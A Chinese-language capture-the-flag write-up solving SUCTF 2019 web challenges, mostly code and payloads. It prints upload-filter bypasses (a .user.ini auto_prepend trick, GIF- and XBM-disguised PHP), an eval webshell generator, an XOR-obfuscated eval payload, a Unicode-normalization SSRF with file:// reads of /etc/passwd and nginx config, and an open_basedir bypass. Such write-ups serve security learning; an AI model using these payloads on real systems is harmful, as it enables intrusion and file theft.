题目存档https://github.com/team-su/SUCTF-2019
checkIn 上传ini
.user.ini
1 2 GIF89a auto_prepend_file =01 .gif
上传gif01.gif
1 GIF89a<script language="php">system('cat /flag')</script>
访问/upload/index.php 自动加载了01.gif,flag到手
pythonginx 直接给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @app.route('/getUrl', methods=['GET', 'POST']) def getUrl () : url = request.args.get("url" ) host = parse.urlparse(url).hostname if host == 'suctf.cc' : return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return urllib.request.urlopen(finalUrl).read() else : return "我扌 your problem? 333"
构造:
1 file:////suctf.cc/etc/passwd
直接是用blackhat
议题之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization
PPT链接:PPT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from urllib.parse import urlparse,urlunsplit,urlsplitfrom urllib import parsedef get_unicode () : for x in range(65536 ): uni=chr(x) url="http://suctf.c{}" .format(uni) try : if getUrl(url): print((str('\\u' +str(hex(x))[2 :]))) except : pass def getUrl (url) : url = url host = parse.urlparse(url).hostname if host == 'suctf.cc' : return False parts = list(urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return False newhost = [] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return True else : return False if __name__=="__main__" : get_unicode()
脚本爆破出符合条件的字符,版本是python3.7的
1 2 3 from urllib.parse import quote>>> quote('\u2102' )'%E2%84%82'
读nginx配置
1 /getUrl?url=file://suctf.c%E2%84%82/usr/local/nginx/conf/nginx.conf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } # location /flag { # alias /usr/fffffflag; # } }
读flag:
1 /getUrl?url=file://suctf.c%E2%84%AD/usr/fffffflag
还可以去找一下PPT那种字符℆
,python3.6,题目环境是3.6,有更多字符
1 2 3 4 5 6 7 8 9 10 \u2102 \u2105 \u2106 \u212d \u216d \u217d \u24b8 \u24d2 \uff23 \uff43
构造file://suctf.c℆sr/local/nginx/conf/nginx.conf
相当于file://suctf.cc/usr/local/nginx/conf/nginx.conf
url编码后
1 file://suctf.c%E2%84%86sr/fffffflag
EasyPHP 给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php function get_the_flag () { $userdir = "upload/tmp_" .md5($_SERVER['REMOTE_ADDR' ]); if (!file_exists($userdir)){ mkdir($userdir); } if (!empty ($_FILES["file" ])){ $tmp_name = $_FILES["file" ]["tmp_name" ]; $name = $_FILES["file" ]["name" ]; $extension = substr($name, strrpos($name,"." )+1 ); if (preg_match("/ph/i" ,$extension)) die ("^_^" ); if (mb_strpos(file_get_contents($tmp_name), '<?' )!==False ) die ("^_^" ); if (!exif_imagetype($tmp_name)) die ("^_^" ); $path= $userdir."/" .$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_' ]; if (!$hhh){ highlight_file(__FILE__ ); } if (strlen($hhh)>18 ){ die ('One inch long, one inch strong!' ); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i' , $hhh) ) die ('Try something else!' ); $character_type = count_chars($hhh, 3 ); if (strlen($character_type)>12 ) die ("Almost there!" );eval ($hhh);?>
参考De1ta wp 复现
ISITDTU CTF 2019 EasyPHP 回顾
最后整出这个payload
1 ${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag
感谢七友师傅先知下回复我
https://thibaudrobin.github.io/articles/bypass-filter-upload/ 生成上传文件,生成xbm
图片类型绕过检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n" def generate_php_file (filename, script) : phpfile = open(filename, 'wb' ) phpfile.write(script.encode('utf-16be' )) phpfile.write(SIZE_HEADER) phpfile.close() def generate_htacess () : htaccess = open('.htaccess' , 'wb' ) htaccess.write(SIZE_HEADER) htaccess.write(b'AddType application/x-httpd-php .south\n' ) htaccess.write(b'php_value zend.multibyte 1\n' ) htaccess.write(b'php_value zend.detect_unicode 1\n' ) htaccess.write(b'php_value display_errors 1\n' ) htaccess.close() generate_htacess() generate_php_file("webshell.south" , "<?php eval($_GET['cmd']); die(); ?>" )
phpinfo
1 open_basedir /var/www/html/:/tmp/
只能读到网站根目录/var/wwww/html/F1AghhhhhhhhhhhhhHH
假flag
1 hhhh This is fake flag But I heard php7.2-fpm has been initialized in unix socket mode! ~
0CTF-TCTF final的绕过open_basedir任意文件读取
1 cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/THis_Is_tHe_F14g');
result:
1 2 3 4 <br /> <b>Warning</b>: mkdir(): File exists in <b>/var/www/html/upload/tmp_4ec272d6ec1a837b54c3a413eb2c14f1/webshell.south(1) : eval()'d code</b> on line <b>1</b><br /> suctf{Undefined_constant_With_XOR_Code_Execution}
还可以用这个方法绕 生成wbmp图片文件解析为phphttps://xz.aliyun.com/t/3937
图片文件格式:https://www.php.net/manual/en/function.exif-imagetype.php#refsect1-function.exif-imagetype-constants
ps:另一种解法
1 file:////suctf.cc/../../../../../etc/passwd
Upload Labs 2 思路是ssrf 成为管理员访问admin.php
,new 一个Ad
类
用到rogue mysql
的触发反序列化
zsx大佬!
设置php.ini
1 mysqli.allow_local_infile = On
my.cnf (my.ini)
1 2 local-infile=1 secure_file_priv=""
走你
不知道为啥没复现成功,先放着……